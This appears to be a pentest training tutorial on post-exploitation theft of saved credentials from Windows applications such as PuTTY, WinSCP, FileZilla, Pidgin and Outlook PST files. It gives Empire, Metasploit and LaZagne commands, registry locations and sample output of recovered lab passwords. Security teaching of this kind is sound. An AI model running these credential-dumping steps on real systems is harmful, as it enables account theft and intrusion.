Contents
PowerShell Empire

CoreFTP: Metasploit Framework

FTP Navigator: LaZagne

FTPNavigator: Metasploit Framework

FileZilla: Metasploit Framework

HeidiSQL: Metasploit Framework

Email: Mail PassView

Pidgin: Metasploit Framework

PSI: LaZagne

PST: PstPassword

VNC: Metasploit Framework

WinSCP: LaZagne

WinSCP: Metasploit Framework
**PowerShell Empire**

Empire provides us with a module that allows us to retrieve the saved credentials from various applications such as PuTTY, WinSCP, etc. It automatically finds passwords and dumps them for you without requiring you to do anything. Once you have your session in the empire, use the following commands to execute the module:

```powershell
usemodule credentials/sessiongopher
execute
```
(Empire: BP4XKDH1) > usenmodule credentials/sessiongopher
(Empire: powershell/credentials/sessiongopher) > execute
[*] Tasked BP4XKDH1 to run TASK_CMD_WAIT
[*] Tasked agent BP4XKDH1 to run module powershell/credentials/sessiongopher
(Empire: powershell/credentials/sessiongopher) > [*] Agent BP4XKDH1 returned

SessionGopher - RDP, WinSCP, FileZilla, PuTTY, SuperPuTTY, .sdtid, .rdp, .ppk saved session & password extractor
Brandon Arvanaghi
Twitter: @arvanaghi | arvanaghi.com

FileZilla Sessions

Source : DESKTOP-1HH06IM\user
Name : test site
Password : 123
Host : 192.168.152.133
User : user
Protocol : Only use plain FTP (insecure)
Port : 21

SuperPuTTY Sessions

Source : DESKTOP-1HH06IM\user
SessionId : ImportedFromPuTTY/user
SessionName : user
Host : 192.168.152.133
Username :
ExtraArgs :
Port : 22
Putty Session : user

Source : DESKTOP-1HH06IM\user
SessionId : ImportedFromPuTTY/user1
SessionName : user1
Host : 192.168.152.133
Username :
ExtraArgs :
Port : 22
Putty Session : user1

Source : DESKTOP-1HH06IM\user
SessionId : test
SessionName : test
Host : 192.168.152.133
Username : user
ExtraArgs :
Port : 22
Putty Session : Default Settings
And as you can see in the images above and below, it successfully retrieves passwords of WinSCP, PuTTY.
Now we will focus on fewer applications and see how we can retrieve their passwords. We will go onto the applications one by one. Let's get going!

**CoreFTP: Metasploit Framework**

The Core FTP server tool is made especially for Windows. It lets you send and receive files over the network. It uses the FTP protocol for this transfer of files, which makes it relatively easy to use, irrespective of the operating system.

With the help of Metasploit, we can dump the credentials saved in the registry from the target system. The location of the password is `HKEY_CURRENT_USER\SOFTWARE\FTPWare\CoreFTP\Sites`. You can run the post-exploitation module after you have a session and run it, type:

```bash
use post/windows/gather/credentials/coreftp
set session 1
exploit
```

```plaintext
[*] Looking at Key HKU\S-1-5-21-3798055023-1038230357-2023829303-1001
[+] Host: 192.168.152.133 Port: 21 User: user Password: 123
[*] Post module execution completed
```

**FTP Navigator: LaZagne**

Just like Core FTP, the FTP navigator is the FTP client that makes transfers, edits, and renaming of files easy over the network. It also allows you to keep the directories in-sync for both local and remote users. We can use the command `lazagne.exe` and we will have the FTPNavigator Credentials as shown below:
FTPNavigator: Metasploit Framework

The credentials of FTPNavigator can also be dumped using Metasploit as there is an in-built exploit for it. To use this post-exploitation module, type:

```
use post/windows/gather/credentials/ftpnavigator
set session 1
exploit
```

As you can see in the image above, we have the credentials.

FileZilla: Metasploit Framework

FileZilla is another open-source client/server software that runs on the FTP protocol. It is compatible with Windows, Linux, and macOS. It is used for transferring, editing, or replacing files on a network. We can dump its credentials using Metasploit. Do so, type:
And so, we have successfully retrieved the credentials.

**HeidiSQL: Metasploit Framework**

It is an open-source tool for managing MySQL, MsSQL, PostgreSQL, and SQLite databases. Numerous sessions with connections can be saved along with the credentials while using HeidiSQL. It also lets you run multiple sessions in a single window. If you are using this software, database management is pretty easy. Again, with the help of Metasploit, we can get our hands on its credentials by using the following post-exploitation module:

```
use post/windows/gather/credentials/heidisql
set session 1
exploit
```
Email: Mail PassView

All the email passwords that are stored in the system can be retrieved with the help of the tool named "Mail PassView." This tool was developed by Nirsoft and is best suited for internal pentesting. Simply download the software from here. Launch the tool to get the credentials as shown below.

Pidgin: Metasploit Framework

Pidgin is an instant messaging software that allows you to chat with multiple networks. It is compatible with almost all operating systems. It also allows you to transfer files too. There is an in-built post-exploitation module for pidgin, in Metasploit, too. To initiate this exploit, use the following commands:

```
use post/multi/gather/pidgin_cred
set session 1
exploit
```
msf5 > use post/multi/gather/pidgin_creds
msf5 post(multi/gather/pidgin_creds) > set session 1
session => 1
msf5 post(multi/gather/pidgin_creds) > exploit

[*] Checking for Pidgin profile in: C:\Users\User\AppData\Roaming
[*] Found C:\Users\User\AppData\Roaming\purple
[*] Reading accounts.xml file from C:\Users\User\AppData\Roaming\purple
[*] Collected the following credentials:
  [**] Server: slogin.oscar.aol.com:5190
  [**] Protocol: prpl-aim
  [**] Username: user123
  [**] Password: pass123

[*] Collected the following credentials:
  [**] Server: <unknown>:5290
  [**] Protocol: prpl-bonjour
  [**] Username: user
  [**] Password: <unknown>

[*] Collected the following credentials:
  [**] Server: <unknown>:<unknown>
  [**] Protocol: prpl-gg
  [**] Username: user123
  [**] Password: user123

[*] Collected the following credentials:
  [**] Server: <unknown>:5222
  [**] Protocol: prpl-jabber
  [**] Username: nfnfjdkssnf@gmail.com/
  [**] Password: pass123

[*] Collected the following credentials:
  [**] Server: 8300
  [**] Protocol: prpl-novell
  [**] Username: kkkkkkksj
  [**] Password: pass123

[*] Collected the following credentials:
  [**] Server: slogin.icq.com:5190
  [**] Protocol: prpl-icq
  [**] Username: 1234556
  [**] Password: pass123

[*] Collected the following credentials:
  [**] Server: <unknown>:6667
  [**] Protocol: prpl-irc
  [**] Username: user123@irc.freenode.net
  [**] Password: pass123

[*] Collected the following credentials:
  [**] Server: silc.silcnet.org:706
  [**] Protocol: prpl-silc
  [**] Username: user123@silcnet.org
  [**] Password: pass123
And all the credentials will be on your screen.

**PSI: LaZagne**

PSI is an instant messenger that works over the XMPP network. It also allows you to transfer files. It is highly customizable and comes in various languages. Using the `lazagne.exe` chat command in LaZagne, you can dump its password as shown in the image below:

```
---------- Psi-im passwords ----------
[+] Password found !!!
Login: user2@user.com
Password: pass123
[+] Password found !!!
Login: user@user.com
Password: pass123
```

**PST: PstPassword**

Nirsoft provides a tool that lets you retrieve all the PST passwords from Outlook. You can download this tool [here](#). Simply launch the tool and you will have the passwords as shown below:

<table>
<thead>
<tr>
<th>Filename</th>
<th>Encryption</th>
<th>Version</th>
<th>CRC Value</th>
<th>Password 1</th>
<th>Password 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Outlook technologiel...</td>
<td>Compressible</td>
<td>23</td>
<td>0x0f9bac75</td>
<td>1AMCS</td>
<td>kz5gD4</td>
</tr>
<tr>
<td>Outlook.pst</td>
<td>Compressible</td>
<td>23</td>
<td>0x7709bac0</td>
<td><strong>123</strong></td>
<td>HdLQMA</td>
</tr>
</tbody>
</table>
VNC: Metasploit Framework
VNC is a remote access software that allows you to access your device from anywhere in the world. VNC passwords can be easily retrieved by using Metasploit. To do so, type:

```
use post/windows/gather/credentials/vnc
set session 2
exploit
```

WinSCP: LaZagne
WinSCP is an FTP client that is based on the SSH protocol from PuTTY. It has a graphical interface and can be operated in multiple languages. It also acts as a remote editor. Both LaZagne and Metasploit help us retrieve passwords. In LaZagne, use the command `lazagne.exe all` and it will dump the credentials as shown in the image below:

```
[+] Password found !!!
URL: 192.168.152.133
Login: user
Password: 123
Port: 22

[-] Password not found !!!
URL: 192.168.152.133
Port: 22
```

WinSCP: Metasploit Framework
To retrieve the credentials from Metasploit, use the following exploit:

```
use post/windows/gather/credentials/winscp
set session 1
exploit
```
This way, you can retrieve the credentials of multiple applications.
JOIN OUR TRAINING PROGRAMS

BEGINNER
- Ethical Hacking
- Network Pentest
- Bug Bounty
- Wireless Pentest
- Network Security Essentials

ADVANCED
- Burp Suite Pro
- Web Services-API
- Pro Infrastructure VAPT
- Computer Forensics
- Android Pentest
- Advanced Metasploit
- CTF

EXPERT
- Red Team Operation
- Privilege Escalation
- APT’s - MITRE Attack Tactics
- Active Directory Attack
- MSSQL Security Assessment
- Windows
- Linux

CLICK HERE

www.ignitetechnologies.in